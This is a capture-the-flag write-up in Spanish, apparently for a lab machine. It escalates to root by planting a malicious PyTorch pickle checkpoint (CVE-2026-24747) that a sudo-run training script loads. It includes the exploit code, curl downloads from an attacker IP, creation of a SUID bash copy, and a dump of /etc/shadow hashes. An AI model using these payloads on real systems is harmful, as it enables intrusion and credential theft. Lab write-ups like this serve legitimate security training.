383e8a0b6277d4bafd7da2ca8b92085647
39developer@bedside:~$Privesc via CVE-2026-24747
Este usuario puede ejecutar el script bedside_trainer.py como root.
1developer@bedside:~$ sudo -l -l
2Matching Defaults entries for developer on bedside:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
4
5User developer may run the following commands on bedside:
6
7Sudoers entry: /etc/sudoers
8 RunAsUsers: ALL
9 Options: !authenticate
10 Commands:
11 /usr/bin/python3 /opt/trainer/bedside_trainer.py
12developer@bedside:~$El script realiza un entrenamiento de un modelo utilizando torch. Utiliza imagenes como archivos procesados y carga el ultimo checkpoint (*.pt) en /datastore/checkpoints despues de construir un modelo.
La version de torch es 2.5.0.
1developer@bedside:~$ pip show torch
2Name: torch
3Version: 2.5.0+cpu
4Summary: Tensors and Dynamic neural networks in Python with strong GPU acceleration
5Home-page: https://pytorch.org/
6Author: PyTorch Team
7Author-email: packages@pytorch.org
8License: BSD-3-Clause
9Location: /usr/local/lib/python3.13/dist-packages
10Requires: filelock, fsspec, jinja2, networkx, setuptools, sympy, typing-extensions
11Required-by: monai, pytorch-ignite
12developer@bedside:~$En la raiz existe el directorio /datastore el mismo que observamos en el contenedor de docker, datawrangler tiene acceso a este directorio en el contenedor.
1developer@bedside:~$ ls -lah /
2total 65K
3drwxr-xr-x 19 root root 4.0K Jul 13 14:00 .
4drwxr-xr-x 19 root root 4.0K Jul 13 14:00 ..
5lrwxrwxrwx 1 root root 7 Nov 9 2025 bin -> usr/bin
6drwxr-xr-x 4 root root 1.0K Jul 16 00:46 boot
7drwxrwx--- 8 datawrangler dataops 4.0K Jul 13 14:00 datastore
8drwxr-xr-x 18 root root 3.1K Jul 23 05:12 dev
9drwxr-xr-x 88 root root 4.0K Jul 23 06:56 etc
10drwxr-xr-x 3 root root 4.0K Jul 13 14:00 home
11lrwxrwxrwx 1 root root 35 Jul 13 12:01 initrd.img -> boot/initrd.img-6.12.95+deb13-amd64
12lrwxrwxrwx 1 root root 35 Jul 13 12:02 initrd.img.old -> boot/initrd.img-6.12.95+deb13-amd64
13lrwxrwxrwx 1 root root 7 Nov 9 2025 lib -> usr/lib
14lrwxrwxrwx 1 root root 9 Nov 9 2025 lib64 -> usr/lib64
15drwx------ 2 root root 16K Nov 9 2025 lost+found
16drwxr-xr-x 3 root root 4.0K Jul 13 14:00 media
17drwxr-xr-x 2 root root 4.0K Jul 13 14:00 mnt
18drwxr-xr-x 5 root root 4.0K Jul 13 14:00 opt
19dr-xr-xr-x 335 root root 0 Jul 23 05:11 proc
20drwx------ 8 root root 4.0K Jul 23 05:12 root
21drwxr-xr-x 25 root root 720 Jul 23 06:40 run
22lrwxrwxrwx 1 root root 8 Nov 9 2025 sbin -> usr/sbin
23drwxr-xr-x 2 root root 4.0K Jul 13 14:00 srv
24dr-xr-xr-x 13 root root 0 Jul 23 05:36 sys
25drwxrwxrwt 9 root root 180 Jul 23 06:52 tmp
26drwxr-xr-x 12 root root 4.0K Nov 9 2025 usr
27drwxr-xr-x 12 root root 4.0K Nov 10 2025 var
28lrwxrwxrwx 1 root root 32 Jul 13 12:01 vmlinuz -> boot/vmlinuz-6.12.95+deb13-amd64
29lrwxrwxrwx 1 root root 32 Jul 13 12:02 vmlinuz.old -> boot/vmlinuz-6.12.95+deb13-amd64
30developer@bedside:~$ CVE-2026-24747
Torch tiene una vulnerabilidad RCE (CVE-2026-24747) al cargar checkpoints maliciosos en versiones <=2.9.1. Los modelos se serializan con pickle por lo que que al ser cargados son deserializados, permitiendo la ejecucion de codigo arbirario. Basados en Loading models to RCE escribimos un script que crea un checkpoint que al deserialiserse ejecuta un comando: id > /tmp/pwned. Tambien, crea una imagen valida procesada, necesaria para que el checkpoint se cargue.
1import torch
2import torch.nn as nn
3
4class Evil:
5 def __reduce__(self):
6 import os
7 return (os.system, ("id > /tmp/pwned",))
8
9ptt = {
10 "epoch": 1,
11 "model": Evil(),
12 "optimizer": {}
13}
14
15torch.save(ptt, "model.pt")
16
17from PIL import Image
18import numpy as np
19
20arr = np.random.randint(0, 255, (64, 64), dtype=np.uint8)
21img = Image.fromarray(arr)
22img.save("image.png")Tras ejecutar el script vemos la creacion del checkpoint y la imagen.
1❯ uv run mal.py
2❯ file model.pt
3model.pt: Zip archive data, made by v0.0, extract using at least v0.0, last modified ? 00 1980 00:00:00, uncompressed size 388, method=store
4❯ file image.png
5image.png: PNG image data, 64 x 64, 8-bit grayscale, non-interlaced
6❯ Descargamos el checkpoint y la imagen a los directorios dentro de /datastore con la shell de datawrangler.
1$ rm -f /datastore/checkpoints/* && rm -f /datastore/processed/*
2$ curl 10.10.14.215:9090/model.pt --output /datastore/checkpoints/model.pt && curl 10.10.14.215:9090/image.png --output /datastore/processed/image.png
3 % Total % Received % Xferd Average Speed Time Time Time Current
4 Dload Upload Total Spent Left Speed
5100 1633 100 1633 0 0 2996 0 --:--:-- --:--:-- --:--:-- 3001
6 % Total % Received % Xferd Average Speed Time Time Time Current
7 Dload Upload Total Spent Left Speed
8100 4228 100 4228 0 0 7647 0 --:--:-- --:--:-- --:--:-- 7645
9$Ejecutamos bedside_trainer.py donde observamos que el checkpoint fue cargado y posteriormente el codigo ejecutado, el archivo ‘pwned’ fue creado tal y como fue especificado. El error ocurre despues de la deserializacion: __reduce__ ya se ejecuto durante la carga del pickle, por lo que el comando corre exitosamente aunque el script termine con excepcion.
1developer@bedside:~$ sudo python3 /opt/trainer/bedside_trainer.py; ls /tmp
22026-07-23 08:04:02,255 | INFO | Device: cpu
32026-07-23 08:04:02,257 | INFO | Using 1 samples for training.
42026-07-23 08:04:02,319 | INFO | Auto-detected input features: 4096
52026-07-23 08:04:02,325 | INFO | Found checkpoint /datastore/checkpoints/model.pt, loading with CheckpointLoader (callable mode)...
6Traceback (most recent call last):
7 File "/opt/trainer/bedside_trainer.py", line 276, in <module>
8 main()
9 ~~~~^^
10 File "/opt/trainer/bedside_trainer.py", line 227, in main
11 loader(engine) # invoke the handler directly
12 ~~~~~~^^^^^^^^
13 File "/usr/local/lib/python3.13/dist-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
14 Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
15 ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
16 File "/usr/local/lib/python3.13/dist-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
17 _tree_apply2(_load_object, to_load, checkpoint_obj)
18 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
19 File "/usr/local/lib/python3.13/dist-packages/ignite/utils.py", line 209, in _tree_apply2
20 _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
21 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
22 File "/usr/local/lib/python3.13/dist-packages/ignite/utils.py", line 216, in _tree_apply2
23 return func(x, y)
24 File "/usr/local/lib/python3.13/dist-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
25 obj.load_state_dict(chkpt_obj, **kwargs)
26 ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^
27 File "/usr/local/lib/python3.13/dist-packages/torch/nn/modules/module.py", line 2516, in load_state_dict
28 raise TypeError(
29 f"Expected state_dict to be dict-like, got {type(state_dict)}."
30 )
31TypeError: Expected state_dict to be dict-like, got <class 'int'>.
32pwned systemd-private-1abfa340b54d4d86a696b94d640ac087-systemd-logind.service-WepbhB
33systemd-private-1abfa340b54d4d86a696b94d640ac087-apache2.service-Ny0bXM vmware-root_1004-2957649132
34developer@bedside:~$ cat /tmp/pwned
35uid=0(root) gid=0(root) groups=0(root)
36developer@bedside:~$pspy muestra la ejecucion.
12026/07/23 08:03:59 CMD: UID=0 PID=3666 | sudo python3 /opt/trainer/bedside_trainer.py
22026/07/23 08:04:02 CMD: UID=0 PID=3668 | python3 /opt/trainer/bedside_trainer.py
32026/07/23 08:04:02 CMD: UID=0 PID=3673 | sh -c -- id > /tmp/pwned
42026/07/23 08:04:02 CMD: UID=0 PID=3674 | Modificamos el comando para crear una copia de bash con permisos SUID. Generamos el checkpoint y nuevamente realizamos la ejecucion del script.
1return (os.system, ("cp /bin/bash /bin/sc; chmod u+s /bin/sc",))La copia fue creada, ejecutamos con la flag -p logrando acceso root y a la flag root.txt.
1developer@bedside:~$ ls -lah /bin/sc
2-rwsr-xr-x 1 root root 1.3M Jul 23 08:09 /bin/sc
3developer@bedside:~$ /bin/sc -p
4sc-5.2# id
5uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer),100(users)
6sc-5.2# cd /root
7sc-5.2# ls
8docker files root.txt
9sc-5.2# cat root.txt
10659dc65fec4e842adece092ec126c4a5
11sc-5.2#Loot
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1sc-5.2# cat root.txt
2659dc65fec4e842adece092ec126c4a5
3sc-5.2# cat /etc/shadow
4root:$y$j9T$.6xH0V8dUB/V.lcVT3VhK.$bdyC4U9q/uG7l4iWZ.PfhYC70Xh03X9Dta3w0j8gQj3:20649:0:99999:7:::
5daemon:*:20401:0:99999:7:::
6bin:*:20401:0:99999:7:::
7sys:*:20401:0:99999:7:::
8sync:*:20401:0:99999:7:::
9games:*:20401:0:99999:7:::
10man:*:20401:0:99999:7:::
11lp:*:20401:0:99999:7:::
12mail:*:20401:0:99999:7:::
13news:*:20401:0:99999:7:::
14uucp:*:20401:0:99999:7:::
15proxy:*:20401:0:99999:7:::
16www-data:*:20401:0:99999:7:::
17backup:*:20401:0:99999:7:::
18list:*:20401:0:99999:7:::
19irc:*:20401:0:99999:7:::
20_apt:*:20401:0:99999:7:::
21nobody:*:20401:0:99999:7:::
22systemd-network:!*:20401:::::1:
23systemd-timesync:!*:20401:::::1:
24messagebus:!*:20401::::::
25sshd:!*:20401::::::
26developer:$y$j9T$pIuT2G7Yr1/BLxN8kdgy91$/LrR1YZOkjFcrnH6joUXDsTXyXK7ZojA70DmwEmZr55:20649:0:99999:7:::
27datawrangler:!:20402::::::
28_laurel:!:20603::::::
29polkitd:!*:20603::::::
30sc-5.2# Docker Source (pdfminer)
1sc-5.2# ls -lah docker
2total 12K
3drwxrwxr-x 3 root root 4.0K Jul 13 14:00 .
4drwx------ 8 root root 4.0K Jul 23 06:58 ..
5drwxrwxr-x 2 root root 4.0K Jul 13 14:00 pdfminer
6sc-5.2# ls -lah docker/pdfminer/
7total 28K
8drwxrwxr-x 2 root root 4.0K Jul 13 14:00 .
9drwxrwxr-x 3 root root 4.0K Jul 13 14:00 ..
10-rw-rw-r-- 1 root root 1.2K Nov 11 2025 docker-compose.yml
11-rw-rw-r-- 1 root root 583 Nov 11 2025 Dockerfile
12-rw-rw-r-- 1 root root 2.2K Nov 10 2025 pdf_watcher.py
13-rw-rw-r-- 1 root root 1.7K Nov 10 2025 pdf_watcher.py.bak
14-rw-rw-r-- 1 root root 23 Nov 9 2025 requirements.txt
15sc-5.2# cat docker/pdfminer/docker-compose.yml
16version: "3.9"
17
18services:
19 data-wrangler:
20 build:
21 context: .
22 args:
23 UID: 988
24 GID: 1001
25 container_name: data-wrangler
26 hostname: data-wrangler
27 network_mode: "host"
28 volumes:
29 # The attacker will need to guess this mount point. It can be changed which may impact the difficulty of the box.
30 # Currently its set to /var/www/research.bedside.htb/uploads to mimic the public uploads directory which will be discovered.
31 # Considering its being managed within a docker container realistically it should be something like /uploads or /files.
32 # I've decided to keep it as /var/www/research.bedside.htb/uploads for now as I predict this is what most people will expect
33 # before knowing its within a docker container.
34 # The flexability is there and difficulty can be altered as needed. pdf_watcher.py will need modified if directory changes.
35 # The PHP upload script will also need modified with the directory if it changes.
36 - /var/www/research.bedside.htb/uploads:/var/www/research.bedside.htb/uploads
37 - /datastore:/datastore
38 restart: unless-stopped
39 tty: true
40sc-5.2# cat docker/pdfminer/Dockerfile
41FROM python:3.12-slim
42
43# Set build arguments for host user/group IDs
44ARG UID=988
45ARG GID=1001
46
47# Install curl and clean up apt cache
48RUN apt-get update && \
49 apt-get install -y --no-install-recommends curl nano && \
50 rm -rf /var/lib/apt/lists/*
51
52# Create matching user/group inside the container
53RUN groupadd -g ${GID} dataops && \
54 useradd -m -u ${UID} -g ${GID} datawrangler
55
56WORKDIR /app
57
58COPY requirements.txt .
59RUN pip install --no-cache-dir -r requirements.txt
60
61COPY pdf_watcher.py .
62
63# Switch to the non-root user
64USER datawrangler
65
66CMD ["python3", "pdf_watcher.py"]
67sc-5.2#esm.sh Source
1sc-5.2# ps -ef |grep esm
2develop+ 1432 1 0 06:58 ? 00:00:00 /usr/bin/esm.sh serve .
3root 4059 3852 0 08:23 pts/0 00:00:00 grep esm
4sc-5.2# ls -lah projects/
5total 12K
6drwxrwxr-x 3 developer developer 4.0K Jul 13 14:00 .
7drwx------ 5 developer developer 4.0K Jul 13 14:00 ..
8drwxrwxr-x 3 developer developer 4.0K Jul 13 14:00 bedside_viewer
9sc-5.2# ls -lah projects/bedside_viewer/
10total 16K
11drwxrwxr-x 3 developer developer 4.0K Jul 13 14:00 .
12drwxrwxr-x 3 developer developer 4.0K Jul 13 14:00 ..
13-rw-rw-r-- 1 developer developer 3.4K Nov 10 2025 index.html
14drwxrwxr-x 2 developer developer 4.0K Jul 13 14:00 vendor
15sc-5.2# ls -lah projects/bedside_viewer/vendor/
16total 20K
17drwxrwxr-x 2 developer developer 4.0K Jul 13 14:00 .
18drwxrwxr-x 3 developer developer 4.0K Jul 13 14:00 ..
19-rw-rw-r-- 1 developer developer 142 Nov 10 2025 lodash.js
20-rw-rw-r-- 1 developer developer 238 Nov 10 2025 react-dom.js
21-rw-rw-r-- 1 developer developer 134 Nov 10 2025 react.js
22sc-5.2# cat projects/bedside_viewer/index.html
23<!DOCTYPE html>
24<html lang="en">
25<head>
26 <meta charset="UTF-8">
27 <title>Bedside Clinic - Image Viewer</title>
28 <style>
29 body {
30 font-family: 'Segoe UI', sans-serif;
31 background-color: #f4f9fc;
32 color: #0b3d91;
33 margin: 0;
34 padding: 20px;
35 }
36
37 h1 {
38 text-align: center;
39 color: #0b3d91;
40 }
41
42 #root {
43 display: flex;
44 flex-direction: column;
45 align-items: center;
46 }
47
48 .viewer {
49 display: flex;
50 flex-direction: column;
51 align-items: center;
52 margin-top: 20px;
53 }
54
55 .mask-grid {
56 display: grid;
57 grid-template-columns: repeat(5, 40px);
58 gap: 2px;
59 margin-top: 10px;
60 }
61
62 .cell {
63 width: 40px;
64 height: 40px;
65 display: flex;
66 justify-content: center;
67 align-items: center;
68 font-weight: bold;
69 border-radius: 4px;
70 color: #ffffff;
71 }
72
73 .cell-0 { background-color: #a0c4ff; }
74 .cell-1 { background-color: #0077b6; }
75
76 .controls {
77 margin-top: 15px;
78 display: flex;
79 gap: 10px;
80 align-items: center;
81 }
82
83 .controls button {
84 padding: 6px 12px;
85 font-size: 14px;
86 border-radius: 4px;
87 border: none;
88 background-color: #0b3d91;
89 color: white;
90 cursor: pointer;
91 }
92
93 .controls button:disabled {
94 background-color: #a0c4ff;
95 cursor: not-allowed;
96 }
97 </style>
98</head>
99<body>
100 <h1>Bedside Clinic - Image Viewer</h1>
101 <div id="root"></div>
102
103 <script type="module">
104 import React from './vendor/react.js';
105 import ReactDOM from './vendor/react-dom.js';
106 import _ from './vendor/lodash.js';
107
108 // Simulate fetching multi-slice MRI + mask data
109 async function fetchSlices() {
110 // For demo: generate 5 slices with random masks
111 const slices = [];
112 for (let i = 0; i < 5; i++) {
113 const mask = Array.from({ length: 5 }, () =>
114 Array.from({ length: 5 }, () => Math.round(Math.random()))
115 );
116 slices.push({ id: `slice_${i+1}`, mask });
117 }
118 return slices;
119 }
120
121 function MaskGrid({ mask }) {
122 return (
123 <div className="mask-grid">
124 {mask.flat().map((cell, idx) => (
125 <div key={idx} className={`cell cell-${cell}`}>{cell}</div>
126 ))}
127 </div>
128 );
129 }
130
131 function Viewer({ slices }) {
132 const [currentIndex, setCurrentIndex] = React.useState(0);
133 const slice = slices[currentIndex];
134
135 const prevSlice = () => setCurrentIndex(idx => Math.max(0, idx - 1));
136 const nextSlice = () => setCurrentIndex(idx => Math.min(slices.length - 1, idx + 1));
137
138 return (
139 <div className="viewer">
140 <h2>{slice.id}</h2>
141 <MaskGrid mask={slice.mask} />
142 <div className="controls">
143 <button onClick={prevSlice} disabled={currentIndex === 0}>Previous Slice</button>
144 <span>Slice {currentIndex + 1} / {slices.length}</span>
145 <button onClick={nextSlice} disabled={currentIndex === slices.length - 1}>Next Slice</button>
146 </div>
147 </div>
148 );
149 }
150
151 function App() {
152 const [slices, setSlices] = React.useState([]);
153
154 React.useEffect(() => {
155 fetchSlices().then(setSlices);
156 }, []);
157
158 return slices.length > 0 ? <Viewer slices={slices} /> : <p>Loading slices...</p>;
159 }
160
161 ReactDOM.render(<App />, document.getElementById('root'));
162 </script>
163</body>
164</html>
165sc-5.2#
